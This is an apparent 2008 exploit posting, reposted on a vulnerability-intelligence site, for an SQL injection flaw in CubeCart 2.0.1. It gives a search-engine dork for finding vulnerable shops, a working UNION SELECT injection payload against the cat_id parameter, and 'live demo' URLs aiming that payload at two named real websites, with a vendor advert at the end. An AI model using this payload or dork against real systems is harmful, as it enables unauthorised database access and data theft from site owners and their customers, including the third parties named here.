CubeCart CMS (Sql Injection) vulnerability identified and exploite
`
;############################################################################
# Greetings to --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - P4tr1ck #
# and all darkc0de members #
;############################################################################
#
# Author: swappie [aka] faithlove
# Email : [email protected]
#
# Do researching and share!
#
;###############################################################
#
# Title: CubeCart CMS (Sql Injection)
#
# Vendor: http://www.cubecart.com/
#
#
;############################################################################
# #
# Dork: inurl:"/shop/index.php?cat_id=" intitle:"powered by CubeCart" 2.0.1 #
# #
#############################################################################
Here is the original info about the vuln:
http://www.securiteam.com/unixfocus/6K00E0KBFE.html
And I thought it would be a great idea to develop the bug.
--POC: http://www.site.com/shop/index.php?cat_id=-1 and 1=2 union all select @@version,2,3,4,5,6,7,8--
Live Demo:
---------
http://www.pv31.com/shop/index.php?cat_id=-1%20and%201=2%20union%20all%20select%20@@version,2,3,4,5,6,7,8--
http://fatguysinc.com/shop/index.php?cat_id=-1%20and%201=2%20union%20all%20select%20@@version,2,3,4,5,6,7,8--
###########################################################
#
# Exploit Developed on : 12 Oct.2008
###########################################################
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo